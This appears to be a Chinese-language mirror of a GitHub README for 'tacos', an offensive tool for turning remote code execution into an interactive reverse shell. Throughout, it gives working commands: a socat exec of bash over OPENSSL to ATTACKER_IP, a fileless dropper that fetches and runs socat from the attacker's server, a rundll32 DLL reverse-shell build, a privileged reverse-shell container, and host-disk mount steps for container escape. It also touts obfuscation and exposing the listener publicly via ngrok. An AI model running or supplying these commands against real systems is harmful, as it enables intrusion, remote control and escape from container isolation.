ariary/tacos
GitHub: ariary/tacos
tacos 是一个将普通 RCE 快速升级为交互式反向 shell 的工具,通过自动配置 pty 和 socat 监听器,大幅简化渗透测试中获取可交互 shell 的流程。
Stars: 32 | Forks: 4
# tacos 🌮
(reverse `socat`)
在反向 shell 中生成一个 pty,自动使其对 socat 监听器可交互。
快速设置交互式反向 shell [ 🐳 (容器) ](#with-docker-recommended)
等价于:
```
socat exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP:PORT],verify=0
```
**为什么?**
* 将 RCE 转换为交互式反向 shell,几乎无需前置条件(只需 `curl`)
* 跨平台 *(Windows 支持已实现但尚不可交互。建议对 Windows 使用非 Docker 方案)*
* 厌倦了按 ^C 然后丢失 shell?
* 懒得复制/粘贴/学习 socat 命令
* 目标机器没有 `socat`,而你不想做 [这个](#alternatives)
* 为 tty 提供更高级的配置(alias 等)
* 更容易混淆
## 用法
"我快速想要一个交互式反向 shell",来一份 wrap!🥙
```
# 在攻击机上
tmux
wrap --lhost [ATTACKER_IP] #launch socat listener + output command to run on target
# 在目标机上
# 粘贴 wrap 输出的命令:它将下载 tacos,并启动它以获取交互式 revshell
```
### `tacos` 标志
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `--detect` | false | 自动检测默认 shell |
| `--shell` | `/bin/bash` | 使用的 shell |
| `--timeout` | 10 | 连接超时(秒) |
| `--retry` | 0 | 最大重连次数(0 = 一次性) |
| `--setreuid` | false | 将真实 UID 设置为有效 UID |
| `--version` | - | 打印版本并退出 |
当目标无法直接访问攻击者机器但有互联网访问权限时非常有用
在攻击者机器上,安装
### 使用 Docker(推荐)
Source aliases *(为简化操作)*:
```
alias tacos.container='docker run --net host --rm -it ariary/tacos'
```
启动多处理器监听器:
```
tacos.container [LISTENING_ADDR] [LISTENING_PORT] # [OPTIONAL_TACOS_ARS]
```
***关于 `tacos` 容器安全性的说明:***
当目标运行 Docker、Kubernetes 等时非常有用
在攻击者机器上,像往常一样启动
在目标机器上:
## 简易安装
* 依赖:go, git, tmux *(以及 ngrok, bore)*
* 安装所有组件:`./install-all-in-one.sh`
现在你已经准备就绪!:
```
tacos.listener
```
## 替代方案
或者,如果目标机器没有 `socat`:
**托管** `socat` 二进制的 [静态](https://github.com/minos-org/minos-static/blob/master/static-get) 版本,并使用隐蔽的 [`filess-xec`](https://github.com/ariary/fileless-xec) dropper **下载并执行它**:
```
# 在攻击机上
# 获取 socat 静态文件并暴露它
static-get socat
python3 -m http.server 8080
# 在目标机上
# 使用已下载的 fileless-xec 下载 socat 并使用参数隐蔽启动它
fileless-xec [ATTACKER_IP]:8080/socat -- exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP]:[SOCAT_LISTENING_PORT],verify=0
```
### 使用 dll 替代 `.exe`
```
# 在攻击机上:
$ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc \
go build -buildmode=c-shared \
-ldflags="-w -s -H=windowsgui -X 'main.Remote=ATTACKER_IP:PORT'" \
-o tacos.dll ./cmd/tacosdll/tacosdll.go
# 或者使用:make build.tacosdll REMOTE=ATTACKER_IP:PORT
# 在远程:
> rundll32.exe ./tacos.dll,Tacos
```
在反向 shell 中生成一个 pty,自动使其对 socat 监听器可交互。
快速设置交互式反向 shell [ 🐳 (容器) ](#with-docker-recommended)
🎁 奖励 n°1:将监听器暴露到公网
当目标无法直接访问攻击者机器但有互联网访问权限时非常有用
在攻击者机器上,安装
ngrok 或 bore 并启动监听器:
wrap -n
注: 目前 ngrok 比 bore 更稳定
🎁 奖励 n°2:tacos 反向 shell 镜像
当目标运行 Docker、Kubernetes 等时非常有用
tacos 反向 shell 镜像在攻击者机器上,像往常一样启动
tacos 监听器
在目标机器上:
docker run --privileged --rm -it ariary/tacos-reverse [TACOS_LISTENER_IP]:[TACOS_LISTENER_PORT]
💡:--privileged模式不是必须的。它用于允许容器逃逸:fdisk -l mkdir /mnt/hostfs mount /dev/sda1 /mnt/hostfs
💡:如果你只有写入部署容器的 manifest 的权限。使用 ariary/tacos-reverse 镜像并传入相应参数
标签:bore, Docker, EVTX分析, ngrok, Obfuscation, pty, RCE, reverse shell, shell交互, socat, tacos, UID设置, 交互式shell, 反弹shell自动化, 命令与控制, 安全测试工具, 安全防御评估, 日志审计, 端口转发, 终端交互, 网络安全, 请求拦截, 隐私保护